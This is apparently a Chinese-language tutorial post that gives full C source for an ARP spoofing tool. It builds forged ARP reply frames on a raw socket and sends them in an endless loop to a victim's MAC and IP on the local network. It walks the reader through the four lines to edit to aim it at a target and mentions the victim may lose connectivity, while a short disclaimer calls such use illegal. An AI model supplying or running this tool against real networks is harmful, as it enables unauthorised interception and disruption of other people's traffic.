ARP(地址解析协议)工作在数据链路层(第二层),主要用于将网络层(第三层)的IP地址转换为物理层上的MAC地址。
-
定义ARP报文头:定义了一个
struct arp_header
,它包含了ARP报文的所有字段,如硬件类型、协议类型、硬件地址长度、协议地址长度、操作码等。 -
发送函数:
my_send()
函数用于通过指定的套接字发送数据到指定的网络接口。 -
主函数:在
main()
函数中,- 创建了一个原始套接字,用于发送和接收链路层的数据包。
- 初始化了一个大小为1024字节的数组
msg
,用于存储要发送的ARP报文。 - 设置了以太网帧的头部信息,包括目的MAC地址、源MAC地址和帧类型。
- 设置了ARP报文头部的信息,包括硬件类型、协议类型、硬件地址长度、协议地址长度、操作码、源MAC地址、源IP地址、目标MAC地址和目标IP地址。
- 在一个无限循环中,持续地发送伪造的ARP响应包给指定的网络接口。
这段代码中要修改的一共有四项
- 第75行 需要将0xee, 0xee, 0xee, 0xee, 0xee, 0xee更改为你想arp欺骗的mac地址。
- 第91行 需要填入你自己的ip地址。
- 第93行 需要将192.168.10.223更改为你想arp欺骗的ip地址。
- 第109行 需要将ens33改成自己的网卡名称
注意事项:(切记)
- 使用死循环频繁的arp发送可能会导致自身的网络连接出现问题。(可以使用for循环设置间隔代替,代码中被注释掉,但是对方可能不会出现断网或无网情况。)
- ARP欺骗通常在同一局域网内进行即(192.168.10,.xxx)前三位需要一样
- ARP欺骗属于网络攻击的一种形式,用于非授权访问和监视网络流量,这是非法的。请遵守法律法规,并在授权范围内进行。
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
// 定义ARP报文头
struct arp_header
{
unsigned short int ar_hrd;
unsigned short int ar_pro;
unsigned char ar_hln;
unsigned char ar_pln;
unsigned short int ar_op;
#if 1
unsigned char __ar_sha[ETH_ALEN];
unsigned char __ar_sip[4];
unsigned char __ar_tha[ETH_ALEN];
unsigned char __ar_tip[4];
#endif
};
ssize_t my_send(int sockfd, char *data, ssize_t len, char *if_name)
{
struct ifreq ethreq;
strncpy(ethreq.ifr_name, if_name, IFNAMSIZ);
// 获取网络接口信息
if (ioctl(sockfd, SIOCGIFINDEX, ðreq) < 0)
{
perror("获取网络接口信息失败\n");
exit(-1);
}
// 创建网络接口地址
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
// 发送数据
ssize_t send_len =
sendto(sockfd, data, len, 0, (struct sockaddr *)&sll, sizeof(sll));
if (send_len < 0)
{
perror("发送数据失败\n");
exit(-1);
}
return send_len;
}
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockfd < 0)
{
perror("原始套接字创建失败\n");
exit(-1);
}
printf("sockfd=%d\n", sockfd);
// 组装ARP应答数据报
unsigned char msg[1024] = "";
// 目的mac和源mac
unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee}; // 这里可以随便填写一个mac地址
unsigned char dest_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee}; // 这里需要将0xee, 0xee, 0xee, 0xee, 0xee, 0xee更改为你想arp欺骗的mac地址
/*-------------mac头部--------------*/
struct ether_header *eth_addr = (struct ether_header *)msg;
memcpy(eth_addr->ether_dhost, dest_mac, 6);
memcpy(eth_addr->ether_shost, src_mac, 6);
eth_addr->ether_type = htons(0x0806);
/*-------------ARP头部--------------*/
struct arp_header *arp_addr = (struct arp_header *)(msg + 14);
arp_addr->ar_hrd = htons(1);
arp_addr->ar_pro = htons(0x0800);
arp_addr->ar_hln = 6;
arp_addr->ar_pln = 4;
arp_addr->ar_op = htons(2);
memcpy(arp_addr->__ar_sha, src_mac, 6);
inet_pton(AF_INET, "192.168.10.184", arp_addr->__ar_sip); // 这里需要填入你自己的ip地址
memcpy(arp_addr->__ar_tha, dest_mac, 6);
inet_pton(AF_INET, "192.168.10.223", arp_addr->__ar_tip); // 这里需要将192.168.10.223更改为你想arp欺骗的ip地址
// 发送数据
// for (int i = 1; i <= 100; i++)
// {
// printf("%d\n", i);
// if (my_send(sockfd, msg, sizeof(struct ether_header) + sizeof(struct arp_header), "ens33") < 0)
// {
// perror("send error");
// exit(-1);
// }
// sleep(1);
// }
while (1)
{
if (my_send(sockfd, msg, sizeof(struct ether_header) + sizeof(struct arp_header), "ens33") < 0) // 这里需要将ens33改成自己的网卡名称
{
perror("send error");
exit(-1);
}
}
// 关闭套接字
close(sockfd);
return 0;
}